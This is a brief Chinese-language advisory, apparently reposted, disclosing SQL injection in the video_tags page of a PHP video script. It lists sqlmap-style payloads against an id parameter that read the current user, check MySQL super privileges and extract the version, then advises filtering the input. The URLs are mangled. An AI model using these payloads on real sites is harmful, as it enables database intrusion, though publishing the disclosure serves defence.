标题: php video script SQL Injection Vulnerability

作者: longrifle0x www.2cto.com www.security-research.ge

下载地址:http://www.alurian.com/php-video-script/

测试工具: SQLMAP

 

概述

 

在video_tags发现SQL injection.

 

*测试方法*

 

link: http://www.2cto.com /tag <http://www.2cto.com /tag>

 

vulnerability link: http://www.2cto.com /tag <http://www.2cto.com /tag>'

 

http://www.2cto.com /tag'/index.php?id=1

<http://www.2cto.com /tag'/index.php?id=1> [GET][id=-1][CURRENT_USER()

 

http://www.2cto.com /tag'/index.php?id=1[GET][id=-1][SELECT(CASE

<http://www.2cto.com /tag'/index.php?id=1[GET][id=-1][SELECT(CASE> WHEN

((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT 0,1)='Y')

THEN 1 ELSE 0 END)

 

http://www.2cto.com /tag'/index.php?id=1[GET][id=-1][MID((VERSION()),1,6)

<http://www.2cto.com /tag'/index.php?id=1[GET][id=-1][MID((VERSION()),1,6)>

 

www.2cto.com修复

 

过滤上述页面的参数输入